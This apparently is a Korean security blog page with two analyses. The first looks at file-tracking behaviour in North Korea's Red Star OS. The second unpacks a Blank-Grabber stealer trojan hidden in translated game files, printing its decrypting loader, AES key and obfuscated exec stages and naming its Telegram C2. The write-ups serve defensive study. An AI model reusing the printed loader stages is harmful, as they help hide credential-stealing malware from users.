[카테고리:] 분석

  • 북한 OS ‘붉은 별’ 추적 기능 분석

    북한의 컴퓨터 운영체제인 붉은 별 3.0에 추적 기능이 있다는 애기를 듣고 분석하게 되었다.

    붉은 별 OS ?

    조선콤퓨터쎈터가 개발한 컴퓨터 운영 체제이다.

    오픈소스 리눅스 커널을 기반으로 하여, 북한에 맞는 맞춤형 기능과 보안 체계를 추가했다.

    특징

    내부 네트워크 보안 강화와 국외 정보 유출 차단을 위해, 다른 OS에서는 찾기 어려운 사용자 및 시스템 감시 기능이 포함되어 있을 가능성이 있다.

    붉은 별 OS에 추적 기능이 있다?!

    붉은별 OS는 단순한 운영체제 이상의 역할을 수행하며, 특히 파일의 메타데이터나 태그 변화로 사용자를 추적할 수 있다는 의혹이 제기되고 있다.

    붉은 별 OS (VMware)

    확인 방법으로 USB를 통해 특정 파일이 붉은 별 OS에 인식되었다가 나오면 파일의 메타데이터가 변경 되었는지를 확인할 것이다.

    각 파일에는 고유의 hash 값이 존재한다.

    파일이 변경되지 않는 이상 다른 PC에 들어가도 값이 바뀌지 않는다.

    새롭게 만든 파일을 USB에 저장.

    해당 test.pdf 파일의 hash 값을 확인. (E8CC4924DB5CEB9577087AF901FDE4E4)

    붉은 별에 USB를 연결 후 폴더 확인. ( 파일을 열진 않음 )

    USB를 제거 후 hash 값 확인. (EB448F1B0AB6FDB9BDA086EFBF4F0A3E)

    hash 값이 달라 졌다.

    hash 값이 바뀌는 이유는 해당 OS가 파일에 특정 정보를 자동으로 추가하는 기능이 있다고 볼 수 있다.

    => 추적하고 통제하려는 의도로 설계되었음을 예상.

    자동 태그 기능 :

    • 붉은 별 OS는 컴퓨터나 연결된 USB에 담긴 모든 파일에 고유한 태그를 추가.
    • 해당 태그는 파일이 어떤 컴퓨터를 거쳤는지 추적할 수 있도록 설계.
    • 이러한 태그는 열거나 수정하지 않아도 자동으로 추가되며, 이로 인해 파일의 Hash 값이 변경.

    파일 메타데이터 변경 :

    • Hash 값은 파일의 내용이 조금이라도 바뀌면 달라지기 때문에, 붉은 별 OS가 파일 내부에 정보를 기록하거나 메타데이터를 수정하면 Hash 값이 달라 짐.
    • 보안 및 감시 목적으로 설계된 기능으로 예상.

    분석

    붉은 별의 조작탁을 통해 모듈 확인

    현재 로드된 커널 모듈을 확인.

    북한에서 만든 모듈

    rtscan 모듈 상세 정보 확인

    해당 모듈을 보면 파일의 위치를 확인할 수 있다.

    추가로 설명을 보면 실시간 모니터링을 하는 모듈이라는 설명이 덧붙여있다.

    해당 모듈의 어셈블리 코드를 분석

    rtscan의 내부 함수들을 확인했고, 그 중에 특별히 의심스러운 함수가 rts_send_files_ioctl 함수이다.

    가볍게 어셈블리어 코드를 분석을 해보니

    ioctl 인터페이스를 통해 파일을 전송 명령을 처리하는 함수인 듯 했다.

    1. ioctl은 사용자 공간과 커널 공간 간의 통신을 위해 사용되며, 주로 디바이스 드라이버에서 특정 명령을 처리하는 데 사용됨
    2. rts_send_files_ioctl은 파일 전송과 관련된 특정 작업(ex. 파일 데이터 전송, 파일 메타데이터 처리 등)을 수행하기 위한 명령어를 처리할 가능성이 있음

    정리

    1. 이벤트 기반의 rtscan 모듈 실행 가능성
      • 외부 장치가 접근 시 실행.
      • 문서 열람 및 파일 수정 시 실행.
    2. 파일에 추적 기능
      • rtscan 모듈에 내포된 함수들(ex. rts_send_files_ioctl, rts_device_ioctl, rts_receive_files_ioctl, etc)에 의해 파일에 태그를 추가하고 파일의 메타 데이터를 변경

    더 자세한 내용은 더 구체적인 분석이 필요할 듯하다.

    By 신성민(@smongs/velog.io/@sssm0928)

  • 아카라이브 심야식당 채널 트로이목마 분석

    주의: 해당 글은 교육 및 공익적 목적으로 작성되었으며, 작성자는 각국 법률이 허용하는 범위 내에서 모든 책임을 부인합니다.

    요약: https://github.com/Blank-c/Blank-Grabber 를 활용한 악성코드입니다.

    아카라이브 심야식당 트로이목마

    아카라이브 심야식당은 성인 게임등을 한국어로 번역하여 유포하는 아카라이브의 채널입니다.

    작년 2024년 12월에 심야식당 채널에 몇몇 해외 성인 게임 한국어 번역 파일에 트로이 목마가 심어져 있다는 사실이 밝혀져 논란이 되었습니다.

    바이러스 고의 유포 업데이트 (20241214) – 심야식당 채널

    ※ 해당 파일은 당시 파일이 공유되던 Kiosk 운영진과 접촉해 조치를 취했습니다.

    현재 바이러스 대란터진 아카라이브 어느 채널 – DogDrip.Net 개드립

    특히, 해당 채널에서 공유되는 게임 실행 파일은 DLL Injection 등의 공격 방식을 활용해서 번역되기에 Windows Defender와 같은 백신 소프트웨어가 오탐하는 경우가 잦았습니다.
    따라서 해당 채널의 사용자는 백신 소프트웨어를 비활성화한 상태로 사용하는 경우가 잦아 피해 규모가 확대된 것으로 사료됩니다.

    VirusTotal

    VirusTotal 검사 결과를 보면 Game.exe가 악성 코드로 분류됨을 알 수 있습니다.

    간단하게 strings를 통해 모든 문자열을 보면 PyInstaller라는 문구를 찾을 수 있습니다.
    pyinstxtractor-ng를 사용하면 어렵지 않게 언팩할 수 있습니다.

    수많은 파일 중 수상한 파일(ddbdafb8-8fc8-4deb-beaa-4f8ae539a203.pyc)이 보입니다.

    타 파일들은 파이썬 실행또는 관련 라이브러리이기에 관련이 없어보입니다.

    pyc 파일은 컴파일된 파이썬 코드이기에 적당한 도구로 디컴파일을 할 필요가 있습니다.

    import os
    import sys
    import base64
    import zlib
    from pyaes import AESModeOfOperationGCM
    from zipimport import zipimporter
    zipfile = os.path.join(sys._MEIPASS, 'blank.aes')
    module = 'stub-o'
    key = base64.b64decode('iGwKuFAdNWb+LYUdlcLrwpWOHKDcW7z+nnOuVeyzVYU=')
    iv = base64.b64decode('w3QT6A25Dmk5WBT6')
    
    def decrypt(key, iv, ciphertext):
        return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
    if os.path.isfile(zipfile):
        with open(zipfile, 'rb') as f:
            ciphertext = f.read()
        ciphertext = zlib.decompress(ciphertext[::-1])
        decrypted = decrypt(key, iv, ciphertext)
        with open(zipfile, 'wb') as f:
            f.write(decrypted)
        zipimporter(zipfile).load_module(module)

    같은 디랙토리에 있는 blank.aes를 복호화함을 알 수 있습니다.

    그냥 실행만 안하고 복호화하는 부분까지만 실행해주면 됩니다.

    import base64
    import zlib
    from pyaes import AESModeOfOperationGCM
    zipfile = 'blank.aes'
    key = base64.b64decode('iGwKuFAdNWb+LYUdlcLrwpWOHKDcW7z+nnOuVeyzVYU=')
    iv = base64.b64decode('w3QT6A25Dmk5WBT6')
    
    def decrypt(key, iv, ciphertext):
        return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
    with open(zipfile, 'rb') as f:
        ciphertext = f.read()
    ciphertext = zlib.decompress(ciphertext[::-1])
    decrypted = decrypt(key, iv, ciphertext)
    with open(zipfile + 'dec', 'wb') as f:
        f.write(decrypted)

    stub-o.pyc 파일이 있음을 알 수 있습니다.

    pyc를 디스어셈블리 해보면 바이너리 값이 너무 길기에 일반적인 디컴파일 유틸리티로는 디컴파일이 어렵습니다.

    def _nlJKwOSg():
        try:
            __________ = __import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((90, 88, 90, 104, 98, 65, 61, 61)).decode())
            ___________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((90, 50, 86, 48, 89, 88, 82, 48, 99, 103, 61, 61)).decode())
            _______________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 119, 61, 61)).decode())
            ________________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((89, 110, 108, 48, 90, 88, 77, 61)).decode())
            ____________ = lambda: None  # <CODE> <lambda>
            ________ = b'[large binary]'
            _________ = ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 105, 75, 81, 61, 61)).decode()), ________________(bytes((98, 71, 108, 122, 100, 65, 61, 61)).decode())))))
            if not ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 72, 112, 116, 89, 83, 73, 112)).decode()), ________________(bytes((90, 88, 104, 108, 89, 119, 61, 61)).decode())), ____________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 51, 77, 105, 75, 81, 61, 61)).decode()), ________________(bytes((88, 50, 86, 52, 97, 88, 81, 61)).decode()))), 0):
               pass
        except Exception as _:
            ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 72, 112, 116, 89, 83, 73, 112)).decode()), ________________(bytes((84, 70, 112, 78, 81, 85, 86, 121, 99, 109, 57, 121)).decode()))))

    문법이 안맞지만 Gemini 1.5 Pro의 도움을 받아 대략적인 로직을 파악했습니다.

    여기서 겁먹지 말고 한땀한땀 난독화를 해제하면 엄청 긴 바이너리를 lzma로 압축을 해제하는 것을 알 수 있습니다.

    import lzma
    bin = b'[대충 아주 길고 큰 바이너리]';
    dec = lzma.decompress(bin)
    with open('tmp_out.py', 'wb') as f:
        f.write(dec)

    이제 압축 해제된 결과물을 보면 다시한번 난독화가 되어있습니다.

    열심히 스크롤을 내려서 실제 로직을 찾아보면, 아래와 같습니다.

    __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 61])).decode()).exec(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([98, 87, 70, 121, 99, 50, 104, 104, 98, 65, 61, 61])).decode()).loads(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)))

    겁이 나지만 조금 더 자세히 보면 loads가 호출되는 것이 보입니다.

    따라서 marshal.loads라는 가정을 하고 코드를 보면 앞에 난독화된 부분은 실제 실행을 하는 부분이라는 생각을 할 수 있습니다.
    exec(marshal.loads(...)) 이런 코드라 볼 수 있습니다.

    marshal — Internal Python object serialization Python 3.12.8 문서

    loads까지 짤라서 변수에 담고 파일로 저장해봅시다.

    code = __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)
    
    with open('tmp_out.pyc', 'wb') as f:
        f.write(code)

    안타깝게도 헤더가 없어 디컴파일이 안됩니다.

    바이너리에 임베드된 Python 버전인 Python 3.12 file magic과 null 12바이트를 Header로 추가해주면 됩니다.

    GitHub – Blank-c/Blank-Grabber: The most powerful stealer written in Python 3 and packed with a lot of features. 여기를 그대로 가져다 쓴 것 같습니다.

    조금 분석해보면 fake 오류창을 띄우는 것을 알 수 있습니다.

    아카쿠비 투기장 Ver1.05c Kr on Zelyx

    DLL 초기화 루틴을 실행할 수 없습니다.

    CC 서버로는 텔레그램을 활용하고 있습니다.

    해당 봇의 텔레그램 API 토큰이 있으며, 6821665221 ID를 가진 대화방에 수집한 정보를 전송합니다.

    해당 대화방의 사용자는 @OdeTo2025(UID: 6821665221)임을 알 수 있습니다.
    ※작성 시점 기준 탈퇴한 사용자입니다.

    By 동헌희(@honey/honey@sandwich.dev)